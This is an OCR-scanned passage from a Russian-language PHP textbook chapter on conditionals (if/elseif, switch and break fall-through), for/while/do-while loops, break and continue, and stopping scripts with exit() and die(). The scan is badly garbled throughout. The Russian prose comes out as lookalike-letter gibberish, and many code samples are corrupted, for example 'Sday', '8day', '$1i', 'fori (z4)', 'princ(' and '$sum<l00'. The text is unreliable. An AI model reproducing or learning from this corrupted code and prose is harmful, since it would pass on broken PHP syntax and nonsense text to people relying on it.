B 3aBMCHMOCTH OT 3TOrO BbIMOJAHATL Kakue-mubo zeiicrus? Hanpumep, B nepe-
MEHHON $day y Bac XpaHuTcs uucio oT 1 Jo 7, KoTopoe yKasbiBaeT HOMEp IHS
Helequ, HO BaM HYXXHO BBIBECTM Ha 9KpaH HaspaHue HHs. s 9Toro MOXHO Ha-
nucars cleayoluit ko (MUcTHHr 2.7).

$day = 2;
if ($day == 1)
print ("lloHenenpHUK") ;

else
if ($day == 2)
print ("Bropamk") ;
else
if ($day == 3)
print ("Cpena") ;
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else
if ($day == 4)
print ("Hersepr") ;
else
if ($day == 5)
print ("Marauua") ;
else
if ($day == 6)
print ("CyG&ora™) ;
else
if (sday == 7)
print ("Bockpecesse") ;

Takoii Kol He OYeHBb XOPOIUO YUTAETCS M BHITJISAUT TPOMO3KO, 4 €cli Harmcars
ero 6e3 orctynos, To Boobiue paszobparsest Oyner ciaoxHo. s penienus nopob-
Hoif npobieMbl MOXKHO BOCIIO/IL30BATLCH KOHCTPYKUMEH if..elseif, TOrga Koi
Oyaet BbIT/ISAAETb, KAK B TMcTHHTE 2.8,

Sday = 2;

if (Sday == 1)

print ("loxenensHMK") ;
elseif (8day == 2)
print ("Bropanuk") ;
elseif ($day == 3)
print ("Cpema");
elseif ($day == 4)
print ("derBepr");
elseif ($day == 5)
print ("MaTaua®™) ;
elseif ($day == 6)
print ("Cyttora");
elseif (Sday == 7)
print ("BockpeceHse") ;

Bror Ko yxe nompoule. B ofliemM Bume KOHCTPYKLUNA if..elseif BBIDISIINT
CllenyioluM obpasom:

if (Ycnoemel)
Nencrenel ;
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elseif (YcnoeueZ)

print ([deicrenel) ;

Ecnu nmepBoe ycioBie BepHO, TO BBITIOIHHTCH MEPBOE AEHCTBUE M MpoBepKa 3a-
KOHYMTCS, MHAYe NMpoM30iaeT nposepka BToporo yciaosusi. Eciu Bropoe ycnopue
BEPHO, TO OYIET BBINOJIHEHO BTOpOE JeiicTBIHE.

Ecth €llle ONHH BApUaHT 3alucH omneparopa if:

if (ycrnoBue)

Onepatop 1;

OnepaTop 2;

endif

B maHHOM cliyyae MOXeT BBITOJHATHCS MHOXECTBO oneparopos Ge3 obweguHe-

HUsI B (PUIypHBIE CKOOKM, MOTOMY YTO €CNU YC/IOBME BEPHO, TO OYAET BBLIMOMHEH
BeCh KOJI, TOKA HE BCTPETUTCS KIIIOUEBOE CIOBO endif.

B sizbike PHP ectb enie oauH BapuaHT MPOBEPKU OAHOMN NepeMeHHOIl Ha cooT-
BETCTBME OAHOMY M3 HECKOJBKMX 3HAaYeHHUIl — onepatop switch. B obuiem Bune
3TOT ONEPATOpP BHILJISIUT TAK:

switch (IMepemenHasn)

{

case 3BHauenue 1:
OnepaTopsl 1;
break; -

case 3HaueHne 2:
Oneparopkl 2;
break;

[default: OnepaTop]

}

B JaHHOM Cy4yae repeMeHHasi CpaBHUBAETCS CO 3HAYMEHMHAMM, KOTOPhLIE YKA3aHBI
MOCHE KIIOYEBOro ciioBa case. ECiIM 3Ha4yeHMe nepemMeHHol paeHo |, To Oyayr
BBITIOJTHEHBI BCE OIIEPATOPLI 3TOTO Bioka 0 KJIIOYEBOro cJloBa break. 310 BaXK-
HOE OT/IMYHME, KOTOpOE Bbl JOJUKHBI 3allOMHHTD. Ecnu nocne CpaBHEHHS if BBI-
MOJIHAETCS TOJNIBKO OAMH ONepartop (s BbITIOJHEHUS HECKOJIBKUX OMNEpaTopoB HX
Hano oO0BeAMHUTE QUIYPHBIMH cKOOKaMK), TO B AAHHOM cllyyae MOXET BBIMOJ-
HATHCA 11000€ KOJIWYECTBO ONEPaTopoB.

Ecnm BO Bpemsi BBITIOJTHEHWS MPOBEPOK HU OJHO 3HAUEHHe He nonoiino, To by-
JIeT BBIMOJHEH ONepaTop, KOTOPLI CTOMT Mociie KIIIYeBOro ciopa default. Oro
CJIOBO sIB/IsIeTCSl Heobs3aTelbHbBIM, HO MOXET MPUCYTCTBOBATHL JUIS BBITOJHEHMS
Kakux-nubo neicrsuit. Hanpumep, ecnu 3HaueHue nepeMeHHoN HE MONOUUIO HU
‘1ol OfIHY W3 MPOBEPOK, TO MOXKHO BbiBeCTH cooblieHust o6 omubke.
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[Jansaiite paccMOTPHM, KAK MOXHO PEIUTh 3aaqy ¢ AHSMU Helelu, KOTOPYIO Mbl
paccMaTpUBAIK paHee, ¢ MOMOLUbLIO ofepaTopa switch (IMCTHHT 2.9).

$day = 4;

switch ($day)

{

case 1:
print ("MoHenensHux") ;
print ("llopa paborars") ;
break;

case 2:
print ("BropHuk") ;
break;

case 3:
print ("Cpena”);
break;

case 4:
print ("Yermepr") ;
break;

case 5:
print ("MaTuuua") ;
print ("KoHen Hegema") ;
break;

case 6:
print ("Cyttora") ;
print ("Baxomnon") ;
break;

case 7:
print ("Bockpeceuse") ;
print ("BexonHon") ;
break;

}

O6pature BHMUMaHue Ha Qopmaruposanue. [locie Kaxmoro oreparopa case
KOMaH/Ibl, KOTOPBIE JOJDKHEI GbITh BBIMTONHEHBI, CMelleHbl BripaBo. Takum obpa-
30M BbI JIEFKO MOXETE OTAEIMTH KOMaHIbl APYT OT Apyra.

s 1, 5, 6 u 7-ro nHs Hefenu si BCTABWI 11O IBA oneparopa, YToGbl Bl YBUIEIH,
YTO He HYXHO HU4ero obbeiWHATL B (urypHeie ckobku. Ha nepsbiit B3z,
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TAKOE€ pellieHWe CAUIIKOM poOMO3[IKO, HO MMOBEpPbLTE MHE, OHO YHUTAaeTCsl HAMHOIO

npoute. M HUKTO He MellaeT BaM 3arucarTh Ko OAHON CTpoKoit miu Goee cxaro
(muctunr 2.10).

$day = 4;
switch ($day) {
case 1: print("Nouemenwuux"); break;

case 2: print ("Bropuux"); break;
case 3: print("Cpema"); break;

case 4: print ("YeTeepr"); break;
case 5: print("Marunua"); break;
case 6: print ("CyG6Bora"); break;
case 7: print ("Bockpeceuse"); break;
default: print("Oumbka");

DTOT KON 3aHMMAeT YXe HaMHOIro MeHblle MecTa, 4 YMTaTh €ro He TaK yX W
cioxHo. YurabesbHOCTL Koia SIBASIETCS OYeHb BAXKHOW COCTABIAIOLLEH, IMOTOMY
YTO B J@IbHEI1IeM OHA YMPOCTHT IMOMIEPXKKY, OTIANKY W BHECEHHE M3MEHEHWA
B Koi cueHapus. [ToMmumo 3toro si nobaBUA KIIIOYEBOE CIoBO default M BBIBOI
coobuienus ob ommubKe.

Knioyesoe cnoBo break sipisiercst obs3arenbHbiM. Eciin Bbl 3abyaere ero nocra-
BUTb, TO BhITIOJIHUTCS BECh MOCHEAYIOWUI KO, YTO MPUBEHET K HEXENaTeJbHOMY
pesyabrary. Ho 3T0T pesynbTat MOXKeT oKasaThbesl M BhirogHeiM. Hanpumep, sam
HAJIO HAMWCATh YHUBEPCANbHbIN KOM, KOTOPbIN OyIeT mojyyarb creneHb Joboro
yucna ot 1 1o 5. D10 MoXeT ObITh PEATM3OBAHO CNEAYIOUIMM 00OpasoM:

Ssum = 1;

$i = 3;

switch ($1i) {

case 5: $sum = §sum * $i;
case 4: $sum = $sum * $i;
case 3: $sum = $sum * $i;
case 2: S$sum = $sum * S$i;
case 1: $sum = Ssum * $i;

default: print($sum);
}

B kauectse HaYaNLHOIO 3HAYEHWS f 3ajan nepeMeHHoM $i 3Havenue 3. Haur kon
fomxeH OyIer paccuuTarh cTerneHb Tpoiiku. Pacckaxy, Kak 3TO npou3oiier.
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Onepatopsl case st 5 u st 4 He cpaborator, a cpaboraer BapuaHT 3, MoTOMYy
4TO ITOMY YMCIY paBHa Hauia nepemeHHass. 3pech yuciio 3 Gyner yMHOXEHO Ha
3HAYEHUE MepeMeHHON $sum, KOTOPOE PABHO 1, U pe3yibTaT Monaiaer B nmepeMeH-
HYIO $sum. Tak Kak Her oneparopa break, CAeNyIOLINIi KO ISl case, PABHOTO 2,
Toxe Oyner BbITOAHEH. 31ech 3HaveHue $sum (paBHoe 3) OyAeT yMHOXeEHO Ha 3,
W pe3ynbrar 9 nonajger B NepeMeHHyio $sum. OnsiTh HET break, MO3ITOMY BbINOJ-
HUTCH case JUISA €NHHMIEBI, W 3HAYeHHe Ssum (yKe pasHoe 9) Oymer yMHOXeHO
Ha 3. Tlonyuuresi pesynaprar 27, 1 OH GyjieT BbiBEAEH HA 3KPaH, [1OTOMY YTO CHO-
BA HET break, a 3HAYUT, BHITOIHUTCS KO/, KOTOPBI CTOUT Nnocie default.

KoneuHo ke, onucaHHBIi NpuMep ¢ OTCYTCTBUEM ONepaTopa break HeadpekTH-
BEH, NMOTOMY 4YTO caMa MIEA HEBBLITOAHA. Takas 3afayva Jayyqyiue peiiaeTcs ¢ noMo-
B0 LMKIOB, KOTOPLIE MBI cKOpo GyneM paccMmarpupats. Ho uHoraa Moxer ro-
HanobuTbes MpH ONpeHeIEHHbIX YCJA0BUSAX BBIMOJHWUTH KOI OT ABYX HIH Gonee
oneparopoB case. Bbl IOJIKHBL 3HATH, YTO TIPOCTOH MPHEM C OTCYTCTBMEM Omepa-
TOpA NpepbiBAHUN break MOXeET VYOPOCTUTH BaM XHU3HbD.

Bo BpeMsi paspaboTku cBoux clueHapueB BbiGMpaiiTe TOT BApHAHT NMPOBEPOK, KO-
TOPbIi MAKCUMAJILHO MOAXOAMT WIS peieHus 3anaun. Mo ckopocT BbiroaHeHHs!
Bce BApMaHThHl paboTalOT OJAMHAKOBO, & BOT C TOUKM 3PEHHS KPACOTBI, MPH MHO-
FOKpaTHOM CPABHEHHH OMNepaTop switch MOXET 3HAYMTENLHO YIYYIIWTL YWUTA-
6enbHOCTL MPOrPaAMMEBI.

2.6. Uuknbi

He meHee yacto B nporpaMMHpOBaHUH HCOB3YIOTCH LMKILL. Hanpumep, ta xe
3a1da4a ¢ BO3BEHEHWEM B CTeNeHb, KOTOPYID Mbl ODCYXKIOAINW MPU PAacCMOTPEHHU
orneparopa switch, peliaercss HAMHOrO Mpolle W Jydlle MpU MOMOIUM LHKJIA.
[ns Bo3BeleHMA B CTENEHb HYXXHO BBITOJHWTHL ONEPALMI0 YMHOXEHHS Olpene-
JeHHoe KonuuecTBO pa3. Ecim HyXHO BO3BeCTM B 3-10 CTeNeHb 4YMCIO 2,
TO MOXHO Hanucatb: 2*2%¥2. A eciiM HYXXHO BO3BECTH UMC/IO 2 B COTYIO CTeneHb?
Bro yxke cioxHee. MoXHO paccuMTaTh YHCIO 3apaHee, HO KaK IMOCTYNMTh, €CJIU
HEW3BECTHO, B KAKYI0 CTEMEeHb HYXHO BO3BOAWUTL 4ucio? Bor 310 yXe camble Ha-
crosilliue rnpobjieMsl, U 3i1eck He 0boiiTHch G€3 LIMKIOB.

Uukn for

CaMBIM 4acTo HCITOJB3YEMBIM ABIHETCA LMKII for. OH Haubonee MpocT B NMOHH-
MaHWH, NO3TOMY HAYHEM PACCMOTPEHHUE LHUKIOB C HEro. B oBiitem Buie oH Bbi-
DISIAMT CAeAyIOLUM oBpasoMm:

for (HauanpHOe Z[HAYEeHME; KOHEUHOEe 3HauyeHMe; U3MEeHEeHWe CueTuMKa)

OnepaTop

HOCMOT[)HM, KadK MOXHO BO3Be€CTH YMC/IO B CTEIIEHDL € MOMOLULIO LIMKNA:

Ssum = 1;

for ($i=1; $i<=3; $i=$i+1)
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Ssum = Ssum * 3;
print ($1i) ;

B sToM mpumepe 3anmyckaercsi HMKJI C HAYIBHBIM 3HAYEHHEM MEpPEMEHHON $i,
paBHbIiM 1. Lluki Gyaer BLINOMHATLCA, MOKA 3HAYEHHE MEPeMEHHON MeHbIle HIM
paBHo 3. Kak TO/IbKO 3HAYeHME MEpPEeMEHHOM MPEBLICUT 3TO YMCIO, LMKI Mpe-
pBETCsl, U Pe3ylbTaT OyHeT BhIBENEH HA 3KpaH C MOMOIUbLIO (DYHKUHH print(),
KoTopas WAeT nocie umMiia. Ha kaxiaom lare UMKIIA 3HaYeHUe nepeMeHHol $i
YBEJIMUUBAETCS HA EAMHULY ($i=5i+1).

Ha kaxnom iiare UMKIa BBITOJTHAETCS CTPOUKA KOAA: $sum = S$sum * 3. Tak Kak
HALL UMK BeINOMHAETCs oT | 10 3, To cTpouka OyaeT BBITOJIHEHA TPH pasa.

[Tocie omepatopa for BBIMOJHAETCA TOJNBKO OfHA cTpoyka Kojia. Yrobsr 6buIO
BHIHO 3TO CTPOUKY, 51 BCerja OThessio ee rnmpobenom, cmerast Brnpaso. Ecin He-
obxoaAuMO BBIMOJIHUTE ABa W Bojee oneparopa, HYXKHO 3aKjIOYUTh UX B (UTYp-
Hbie ckobku. Hanpumep:
$sum = 1;
for ($i=1; §i<=3; $i=§i+l)

{

$sum = Ssum * 3;

print ("Cymma = Ssum, CuerTumk = $i <BR>");

}

[Tocne BeINoOAHEHUS 3TOTO KOJIA MBI YBUANM HA KpaHe CIIEAYIOINH TeKCT:
Cymva = 3, Cuerumk = 1

Cynaaa 9, Cueruuk = 2

Cymmaa 27, CuerTumk = 3

Takum obpasom Mbl BO3BEIN YHUCIO 3 B TPETBLIO CTEHEHD.

]

B kauyecTBe HAYAILHBLIX 3HAYEHHIl MOIYT BBICTYMATh HECKOJbKO MEpeMEeHHBIX.
Haripumep, 3mech Mbl GecrpensTCTBEHHO MOXKeM MepeHecTH OObSIBIEHUE [epe-
MEHHOH $sum B CKOOKM oneparopa for cienyiouum obpasom:
for (Ssum=1, $i=1; S$i<=3; $i=5i+1)

{

$sum = $sum * 3;

print ("Cyvmma = §sum, Cuerumx = $i <BR>");

}

Bce HavasbHBIE 3HAYEHUS NIEPEYMCIISIOTCS Yepes 3arATyio.

Takum xe oBpazoM MoxeT GbITE OpraHM30BaHO J060OE KOMMYECTBO [MPOBEPOK.
Hanpumep, HaM HA40 BbLIMOJHATbL LIMKII, MOKA 3HAYEHHE nepemeuﬂoﬁ $i He cTa-
Her Gosbiie 3, win cymma He npesbicut 100. s 3T0r0 MOXHO HAMMCATH LIMKI
CNeayIolMM obpasom:

for (Ssum=1, $i=1; Si<=3, Ssum<l00; $i=5i+1)
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{

S$sum = $sum * 3;

print ("Cymma = $sum, Cuerumk = $i <BR>");
}

Kak BuanTe, B OrpaHWYeHMH UMKJIA YEpe3 3ansTyi0 TPOBEPSIIOTCS ABA YCIOBMA:
$i<=3 U $sum<100. 3anATas paBHOCK/IbHA cpaBHeHHIO "WiK" (or) M COOTBETCTBY-
eT 3armucH:

for ($sum=1, $i=1; $i<=3 or $sum<1l00; $i=S$i+1)

Ecnu HyXHO BBITONHATE LWKJ, TIOKA OJHO M3 YCJIOBHI HE CTAaHET UCTHHHBIM, TO
MOXHO Hamucarh TaK:

for ($sum=1, $i=1; $i<=3 and S$sum<100; $i=$i+1)

Ho B aToM ciyyae uMmeeTcsi oIMH HexocTaToK. Ecau Bbl BBITIONHHTE ceifyac aToT
Kol, To yBumuTe, uto cymma npesbiuaer 100. TMouemy? Ilposepka mnpomcxo-
IUT paHblle, 4eM IPOU3BOAMTCS O4YEpeaHOE BO3BENEHHWE B creneHb. Ywucio 3
B 4-ii crenenu paBHo 81. Dro MeHbwe 100, 1o3ToMy BBINOJAHAETCS OMEPEIHOMN
ar uukna (eme oaHO BO3BeleHHWe B CTeleHb), U pe3yibTar craHoBuTes 243, urto
W BBIBOAMTCS HA 9KpaH. TONBKO CleAyIollas MPOBepKa YBUIUT, YTO YHCJIO Mpe-
BRICWJIO JonycTuMoe 3HaueHue. Ytobel n3baButhest or 3toro adipexra, Bo3pene-
HWE B CTEMeHb HY)KHO MepeHecTH B 00JacTh yBeNMUYCHUS CUETUHKA, T. €. TAK:

for ($sum=1, $i=1; $i<=3, $sum<100; $i=$i+l, $sum = $sum * 3)

print ("Cymva = $sum, Cuerumk = $i <BR>");

Tenepb Ha KaXIOM LIare UMKJIA YBEJMYMBAETCA HE TOJMBKO $i, HO M $sum. Pe-
3y/bTAT BO3BEAEHMUA B CTereHb OyleT BbIBENEH HA DKpaH TOJNBKO B TOM Cliyuae,
ecJIM OH COOTBETCTBYET ODOMM YCJIOBUAM, W cyMMa HuKoraa He rpessicut 100.

Uwnkn while

LMk while MOXHO BOCTIPMHMMATh KakK "BBINONHATH OEHCTBHS, TMOKA BEPHO yo-
nosue". B obueM B 5TO BLIISOUT caeAyloumm obpasom:

while (ycnosue)

neicTeUe;

Beinonusiercs TONBKO OAHO [AEHCTBHE, MO3TOMY, YTOOGLI BBIMOJHHUTH HECKOILKO
onepauui, UX HALO 3aKIOYHUTL B DUTypHBIE CKOOKHM. PaccMOTpUM MpuUMep BO3-
BeJeHHs YKcaa 3 B CTEMEHb 3 ¢ MOMOLIBIO LUKIA while:
s =1;
$sum = 1;
while (§i<=3)
{
$sum = Ssum * 3;
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$i = 8i + 1;

B nanHoMm cnyuae yBeJqH4eHHE NMPOUCXOAUT BHYTPU LIMKJIA BMECTE C BO3BEAEHHEM
B creneHb. Kak TolbKo yciloBue CTAHET HEeBepHBLIM, LMK Oyner npepsBaH. A eciin
HaIo BBIMOIHUTH TeJI0 LMKIA B MoboMm ciyyae xors 6u1 onun pa3? B atom cnyuae
HY>XHO BOCTIOJIb30BATHCS APYroif pasHOBUAHOCTEIO while!

do ne#icTEuMe

while (ycnoeue);

B 3TOM ciyyae cHayana BBIMOJHAETCA AefiCTBHE, @ MOTOM YXe NPOMCXOAMT Mpo-
Bepka. Takum obpasoM peiicTBue OyneT BBIMOJHEHO B Jio0oM ciyvae XoTsi Obl
OIMH pa3, Jaxe eciy YcIoBUE M3HAYAIBLHO HeBepHo. Hanpumep:
$i=1;
$sum = 1;
do
{
$sum = $sum * 3;
1= 54 4 1:
}
while (§i<=3)

EcThb elie oiMH BApMAHT 3anucH oneparopa while:

while (ycrnosue)
OnepaTop 1;
Oneparop 2;
endwhile

B nanHOM cityyae MOXET BBINOJHATLCS MHOXECTBO onepatopoB 6e3 obnenmnHe-
HUSt B QUIYpHBIE CKOOKH, MOTOMY YTO €C/IM YCIOBHE BEPHO, TO OYHAET BLIMNOJHEH
BECh KO, MOKA HEe BCTPETUTCH KIIOUEBOE CIOBO endwhile.

BeckoHeuYHble LUKbl

BhIBaloT cHUTyauMM, KOrAa HYXHO clenarTh UMK GeckoHeuHbIM. B atom ciyuae
MOXKHO UCIIOJB30BATE B Ka4yecTBe YCJIOBUS WIS LMKIA while 3aBeIOMO MCTHHHOE
3Ha4YeHue:
while (TRUE)

{

}
B nanHOM ciyyae MBI CTaBMM B KauyecTBe PesyibTaTa YCIOBUSI MCTHHHOE 3Haye-

HHE, KOTOPOE MPOCTO HE MOXET TMOMEHATHCH Ha JIOXKb, 4 3HAYUT, UMK Byner
DecKOHeuYHbIM.



56 lnasa 2

LlHKJI for TOMKE MOXHO clenark DecKOHEeYHbIM. 1o JleynaeTcst cleaAyioumum ob-
pasom:

fori (z4)

{

}

3nech HeT HUKAKMX YCJHOBHW M NpHpalleHWit, TosToMy M LMk Oyaer Oecko-
HEYHbIM.

He coseryio mcnonbiosars GeckoHedHbie UKD, XOTS YYTh HUXE MBI YBHIUM,
KaK YMpasisiTh LUMKIAMM W Kak B HYXHbIi MOMEHT MpepBaTh BbIMOJIHEHUE, HO
OecKOHeuHBIE LIMK/IbI OYEHb CHJIBHO 3arpyXaioT cHcTeMy, ocobeHHO Gecrnones-
HLIMH TIEpeXO/aMHu.

B npunuune, abconorHoit 6ecKOHEYHOCTH MO yMOJYaHWI0 He Oyaer. Beinomne-
Hite 1100010 clueHapusi orpaHuyeHo 1o Bpemenn (no ymonuanuio 30 cekyHu). But
MOXETE M3MEHWTh 3TO 3HAYEHWE WIM CAenarh OeCKOHEUHbIM Bpems OXWIAHWS,
HO TOr/A Balll CUEHApHii u3-3a Kakon-HUOYIb MalleHbKoi onbku (He OyieT Bul-
MONHATHCS TIPEPBIBAHKE IUKNA) MOXET MEPErpy3suTh CUCTEMY, W CAliT CTAHET He-
JIOCTYITHBIM.

YnpaBneHue unknamm

Wuorna HYAKHO MMETL BO3IMOXHOCTH NMpepBarTh paﬁo'ry LHUKNd HJIH M3MEHUTE XOI
ero BhifnojHeHusl. Hanpumep, ToJibKO ¢ MOMOLIBIO CHELHalbHOr0 onepaTopa 3a-
BEPILUEHMWS paﬁOTbl UMKJIa MOXXHO OCTAHOBMTH BbINoJHEHUEe GeckoHeyHOTo HHUKna.
anpBaTh BBINOJIHEHWE LIHKTA MOXHO C MOMOILLLIO Oneparopa break. Hanpumep:
Sindex=1;
while (5index<10)
{

print("Sindex <BR>");

Sindex++;

if ($index==5)

break;
}

JaHHBIH [HK IOIDKEH BBITOMIHATECSH, MOKA 3HAYEHHE MepeMeHHoH $index He
cTaHeT paBHbIM WaW Gonbwie 10. B Tene umMkna ectb NpoBepKa: eciH 3HAUEHHE
fepeMeHHon paBHo 5, To LUK MpepbiBaeTes ¢ MOMOILIo onepatopa break. Ta-
KuM 0bpazom, UMK ByleT BeIMOMHEH TONBKO 10 5.

A ecliM HYXHO TpOIYCTUTH KaKoe-TO 3HAYeHWe M He BBINONHATH LMKJI WIH
Kakyto-To ero yacrs? [lns 2Toro ecrb oneparop continue. PaccMoTpuMm npumep
ero UCTIONb30BaHMA:

$index=0;

while ($index<10)
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{
Sindex++;
if ($index==5)
continue;
print ("$index <BR>");
}

B JaHHOM Cliy4ae B LUHKJIEe BLIMOJHAETCH Ieyars Yucena or I no 9, H MBI JOJIKHBI
nponyctuTh uMcao 5. [Uisi 3Toro nepeMeHHoil $index NpHCBaMBaeTCs 3Haue-
tue 0. [Mouemy 0, ecnn HyxkHo nevarars ¢ 1? [Npocro B Tene WMKIA Mbl cHAYaNa
yBEJHYMBAEM 3HAYEHHEe nepeMeHHol Ha 1, a MoToM yxKe mevaraem, T. €. Ha nep-
BOM Xe lare euie Ao nevaru 0 Oyger yseauueH Ha |, M pacrneyaraercs eQuMHUIIA.
Ecnu nepeMennas $index paBHa 5, To nevat¥ He GyaeT, MOTOMY YTO BBIMOJIHHUT-
Cs1 ONEPATOP continue, W BHINOJHEHWE TNEPEHIET B HAYAO.

bByabre BHUMATENBHBI NMPH MCMONB3OBAHUM oOmeparopa continue, [locMorpute
CNEAYIONH KO H HaiauTe oHbKy:
Sindex=1;
while ($index<10)
{
if ($index==5)
continue;
print("$index <BR>");
$index++;
}

CnHTakenveckoit omiubkn 3pech HET, M, HA NEPBbI B3LAS, KOI NOMXKEH BBINOJ-
HATb Te XKe HeHCTBHSA, YTO W npeabuiylnii. B nepeMeHHYIO $index MBI 3aHEC/IH
HayaJbHOE 3HayeHue 1, MoTtoMy 4TO TENnepb yBEJIMYEHWE CUCTUMKA MAET MOCe
neyary u Bpoze Obl Bee npasuibHo. Eciu umMkin noiaer ao S, To neyatu He dyner
¥ Npou30iaeT nepexoj Ha Hauano uMkna. B srom M saknovaercs ownbka.
INocne mnepexona cueTyuk He M3MeHWICs (3HAUYEHHMe MepeMEeHHON $index He
YBEJTHYEHO M PaBHO 5), H CHOBA NPOBEPKA C YHCAOM 5 aacT ucTHHY. Takum obpa-
30M, UMK "3aKIUHMT', U OH MOCTOSIHHO OYHET MEepexoiuTh ¢ NMATOH CTPOKH
Ha BTOpPYIO.

Droii pobieMbl HET MPU MCMOJILIOBAHUM LUKIA for, MOTOMY YTO YBEJIHHUEHHE
[pU mepexone Ha HOBBIA ILIAT MPOMCXONWT cpasy ke no dgopMmyne, yKasaHHOMH
B KayecTBe MocJeHero napamerpa B ckobkax:
for ($index=1; S$index<10; $index++)
{

if ($index==5)

continue;

3 3ak. 1315
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print ("$index <BR>") ;
}

B cryvae ¢ uukiioM for MOXHO TMOCTYIIMTh HEMHOIO JPYrHM criocoboM — camo-
CTOATENIBHO YBEMHYUTh 3HAYEHME NepeMeHHO $index B Teje LMKIA:

for ($index=1; $index<10; $index++)
{
if ($index==5)
Sindex++;
print ("$index <BR>");
}

Ho 310 yactHbldl ciyyail nepexoja Ha cleiyloUuMil [UAT, KOrAa HYXHO MpPOCTo
NPONyCcTUTh OAHO 3HaYeHWe. 3aladya MM YCJIOBUE MOXET MOMEHAThCS, W Torxa
Bl He yBuaure omubky. Hanmpumep, Moxer MoHAKoOUTLCS IPOCKOYHUTL He-
CKONBKO 1uaros noapsan. Ha kakoe 3HaueHue Toraa NpuAETCs YBEIMYHBATH CYET-
YUK, CKa3aTb TPYAHO. B peanbHBIX YCIOBUAX fl HE COBETYIO HOBEPATH PyYHOMY
YBEJIMYEHHMIO CUETYMKA, @ MCMONb30BATh OIMEpaTop continue, MOTOMY HTO OH
YHUBEpCANeH.

2.7. YnpasneHue nporpamMmmon

WHorpa GbIBAIOT CUTYALIMM, B KOTOPBIX HYXHO MpepBars pabory uukna. OueHb
4acTo 3T0 HeoOXOAMMO, Koraa Mpou3oluia Kakas-aubo ommbka, M naiabHeilliee
BBITIOJIHEHUE TIPUBEIET TOJIILKO K yXYILIeHUI0 ronoxeHus. Hanpumep, Ha cepsepe
HeT HeobOxoaumoro daiina, Wi MOJb30BATENb 3a1al HEelpaBUIbHLIE MapaMeTphl.
B atom cnydae paibHeiias pabora cueHapus MOXeT 0TOOpasUTh 3ampelieHHYI0
nHGOPMALMIO WM MPOCTO OTPaboTaTh HENpaBHALHO W MPUBECTU K MEUATBHbLIM
nocnencTsuaM. B takmx caydasx He SKcnepUMEHTHpPYiiTe, a ocTaHOBUTE paGoTy
clieHapus.

s npepsiBanist paboThl CleHapusi CyulecTByer KoMmaHiaa exit (). Kak tonbko
clieHapWil BCTpeTHT MofobHYy0 KoMaHay, pabora TyT Xe npepsercd. EnuHcTBEH-
HBIA HEMNOCTATOK 3TOI KOMAHJBI 3aKjloyaeTcs B TOM, 4YTO HYXHO elle U coob-
LLMTh MONB30BATENIO, MOYEMY BHITOTHEHHE MpPEepBaHo.

b PEKOMEHIYI0 MCIOJb30BaTh KOMaHIy die(), KOTOpasl SIBISIETCS TCEBIOHUMOM
Uisl exit (), HO B Ka4ecTBe napametrpa Misl die() YKasblBAETCS TEKCTOBOE co00-
LIeHWe, KOTOpoe YBUAMT MONb30BaTe/lb B OKHe Opaysepa. Paccmorpum kiaccuue-
CKUIi MpuMep NoAaKNoYeH!s K 6ase AaHHBIX:

if (!connect_to_database)

die("Her coemmuHeHMa ¢ Dazol HaHHEX, s3aimiTe nosxe");

B naHHOM cllyyae KoMmaH[a connect_to_database sIBIsieTCsl abCTpakTHOM M He
cyuiecrsyionieit B aspike PHP. Ona npocrto ykaswiBaeT Ha To, YTO B 3TOM MECTe
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MOXET HAXOAWThCS MOAKIIOYEHHE K Dase JaHHBIX. 34ech BaAXHO, YTO €CHM HET
coeiMHeHus: ¢ 6a30i JAaHHBIX, TO BBI3LIBAETCS KOMAaHIA die(), @ B KayecTse na-
paMeTpa IepelaeTcsl TEKCTOBOE OMUcAaHHE OLIUOKH.

Ob6sizatenbHO MH(OPMHUPYiiTE MONB30OBATENS O NPHYMHAX BO3IMOXHBIX OLIHGOK.
Ecnu He Gyner cooblieHnit, a TONBKO NMycThie 3KpaHbl MM NpPepBaHHbIE HA MONY-
CJIOBE CTPAHULBI, TO 3TO BLI3OBET paslpaxXeHUe y moceTutessl, ¥ oH Gonbliue HU-
Koraa He 3aiIeT Ha Ball caiT. C MOMOLUILIO COOG]_IJ,EHHH BbI NOJIKHBI H3BMHHUTLCH
W MOMPOCUTD MOCETUTENS 3AHTH HEMHOTO IMO3XKE.

Ouwubku ¢ moakimoyeHHeM K 6asze AaHHBIX BCTpeyaloTes AoBOJbHO 4acrto. Ha
OIHOM M3 XOCTOB, I/l pacrojaraeTcd MOif caiiT B TeueHue IBYX Mecsles, 6a3a
paHHeix MySQL paGorana ¢ nepebosiMu, W KaXIslil JeHb nmpoucxonua cboit Ha
10—15 munyr B camblif MUK nocew@aemocti. [TpoGiemMsl Moryr GbIThb CBSI3AHBI
C IUTOXHM TPOrpaMMHpPOBAHHMEM, HE3AKPBITBIMU COEIUHEHHWAMH W BJIOKMPOBKa-
MH, a4 TAKXKe MeperpysKkoii cepsepa.

Hepocratku ¢GyHKUMHW die() — HeMeMIEHHBIH BHIBOI COOOIIEHUA U HEMEIeH-
Hoe mnpekpauieHue paborsl cueHapus. Takum obpasoM, pesyasTHpylolas crpa-
HHULIA MOXET OKa3aThesl He3akoHueHHO#. Ecnu bl xotute, yrober Web-cTpannua
BBIIVIA/IENIA XOPOLIO, TO MOKHO MCIOJNIB30BATh CJAEAYIOMIYIO TOTHKY:

OrofpaxeHye WANKM CTpaHULE
if (!connect_to_database)
{
print ("Her coemuHeHus c Dasoit HaHHEX, 3alimure nosxe");
OroOpaxeHre MNopBalla CTPaHMLE
exit;

}

B stom ciyyae crpaHuua 6yner BeirisiieTh 6ofiee KOPPEKTHO, MOTOMY YTO TOc/ie
BBIBOLA COOOLIEHUsT MBI oTOOpaxaeM Ha 2KpaHe MoBal M TOJBKO MOCHEe 3TOro
npepbiBaeM paboty cueHapus.

2.8. DyHKLUN

Korna s Tonbko HauMHaA NporpaMMupoBaTh Ha aabike Pascal, To monro He Mor
TOHATH, 3a4eM HYXHBl (yHkuuu. Bce mporpammbl s cTpous nuHeitHo, 6e3
Kakux-1u6o sersneHuit. Ho onnaxnel a cronknyncs ¢ npobiaemoit. Kox mpo-
TpaMMBI BBITMISEN, KaK B JucTurre 2.11.

OrOKPATHO M1OBTOPAIOWIMECS

print ("BuSepuTe omHO Mz meicreuin <BR>");

princ(" <BR>") ;
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print ("llouck <BR>");

print ("======= BR>") ;
print ("===== ==<BR>") ;
print ("lewars <BR>");

print (“==s=== ==<BR>");
print ("====s=sss=s==ss=sccczssaoooos <BRE>") ;
print ("Baxon <BR>");

print (" <BR>") ;

B nepBoii cTpoyke BBIBOAMTCS 3arofioBOK, a4 MOTOM HAET BBIBOJ TpeX MyHKTOB
